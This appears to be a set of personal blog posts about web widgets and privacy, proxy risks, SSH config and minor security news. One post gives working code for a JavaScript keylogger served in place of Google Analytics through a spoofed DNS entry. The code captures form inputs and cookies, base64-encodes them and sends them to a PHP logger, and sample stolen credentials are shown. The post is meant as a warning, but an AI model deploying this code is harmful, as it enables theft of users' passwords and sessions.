Welcome the “widget”. A piece of html (with css, javascript..) to be included in another page, often to socially spread content (Facebook Like, Google +1, LinkedIN share, etc), or other added value (Analytics, sharing, etc) will tell many “providers” what content you are accessing.

It is difficult now to find a popular page without any widgets. Pages pack “like” buttons, “share this” widgets or tweet options to give you a instant way of sharing their content in your social network – banking on good ‘ole word of mouth marketing. If your friends like something, you might be interested also, even if it was only for peer pressure.

The problem that when something (such as the widget) is requested, browser data (such as your session’s information and the referer) also flow to the widget provider’s webserver. This provider will know what page you’re on and usually who you are (assuming you stay logged in into google, twitter, facebook, etc)

Thinking “but if I like a page, facebook will know it anyways“. This is true; the problem lies in the fact that providers know you’re accessing a page, regardless of performing any action (liking, sharing, etc). If you read X number of pages on a new model smartphone, chances are big you want to buy another one – and targeted ads become more… targeted.

From that advertising point of view, it creates mixed feelings. It’s like somebody overlooking your shoulder while you’re reading a magazine and changes the ads accordingly to which article you were staring at longer.

From a website owner point of view, this does create added value. If you can convince to have websites publish your widget code, you can track people’s interests, even before they ever came to your website. This (unidentifiable) user eventually ends up on your web app, identifies him/her self and you have great information. I’m just not sure how ethical this is, and even though Facebook’s outdated law enforcement guidelines don’t hold “webpages visited” in particular, they would have access to it.

Is this such a bad thing? Perhaps. “Widget providers” offer added value to website owners, who in turn decide what goes into their webpages. Vague idea, but maybe a browser extension could prevent the loading of these widgets, replacing them with a pseudo equivalent (fake buttons, etc) and only dynamically load the target script upon a click?

Food for thought. Now, look at the buttons below, they know you’ve been here already.

The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page. Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, …). It’s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.

“Overwriting” javascript libraries, or rather “inserting javascript” can be done in several ways. Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and “fake” the ga.js javascript file.

For this, you’d need only 2 files:

• Javascript keylogger
• PHP backend script

This javascript file, found here, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself:

var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});

Upon a “form submit” event, the current URL, the current cookie and all the page <input> fields are stored in a JSON object. This is Base64 encoded and passed on to a defined URL (http://www.google-analytics.com/dump.php?a= in this above case).

The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case. This script (here) stores the current date, and a dump of all passed on variables in a defined text file.

  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);

Since it decodes a JSON object, dump.php will require JSON support, this can be installed using pear. Debian, it’s done using the following:

  apt-get install php-pear
  pear install Services_JSON

To verify this, you will see a JSON entry in the phpinfo() output.

When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all <form> submits should be recorded in the text file, in the form of:

on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
name : user
pass : secret1552
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :

No, this is no hack against Google Analytics or 7days, the latter is something that would look slightly different.

Although this example uses Google Analytics, it could be used for many other “popular” javascripts that are included in terms of widgets. The handy things about Google Analytics is that it’s invisible to the user whether it is loaded or not.

Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them. Always make sure you can trust your proxy administrators.

Thank you,
Michael

PS: these scripts are far from perfect, they don’t trap XHR requests and many other things, but it gets the point across.

How can this be stopped? Modern websites include, because of widgets, several external Javascripts onto their own sites. When going to the gadget popular website engadget.com, a total of 17 hosts are contacted…

• engadget.com
• blogsmithmedia.com
• o.aolcdn.com
• platform.twitter.com
• b.engadget.com
• o.sa.aol.com
• h.scorecardresearch.com
• blogcdn.com
• platform0.twitter.com
• urls.api.twitter.com
• platform.twitter.com
• aolcdn.com
• facebook.com
• engadget2.disqus.com
• static.ak.fbcdn.net
• mediacdn.disqus.com
• disqus.com

Wouldn’t it be easier for an attacker to -perhaps- perform DNS poisoning to take over one of these hostnames, to include javascripts in multiple websites? With the [like] buttons, [retweet] buttons and [addthis] widgets, one could target many websites all at once.

Stopping this is partially performed by browsers, such as Firefox’s “this site downloads contents from xxxx.com, which contains malicious material”, but that’s only after a website is labelled as malicious. Could there be an answer where websites follow a “trusted list” (where sites register the widgets they use) type of model?

Just wondering on a thursday morning.

Being a avid Linux user, and spending quite a bit of time on OSX lately, I often SSH into several servers remotely. Being subject to “username conventions”, you don’t always share the same username across machines. And I always wondered how one could just type ssh hostname instead of providing the username.

Seems that, by creating a .ssh/config file with following contents:


Host server.example.com server
  User username


WIll make life easier, as you can in the future only do a “ssh hostname”. I didn’t know this.

MS08-067 fixes a bug in the RPC handling of the Windows Server service.

The bug was deemed as “critical” on pre-Vista machines, which is still the majority of Windows clients.

See it as a firefox with your necesarry plugins, in a new jacket.

Very interesting product. And it seems that places.ae renders correctly in it, which is probably due to the borrowed Firefox code.

I am afraid that IE(8)’s days are counted.

Thank you,
Michael

The “hacker” emailed the victim that he broke into her email account, and was going to release pictures and “other secrets” of her, according to GulfNews.

Not the cybercrime caliber of russian extremist webmasters being “accidentially” executed, but still.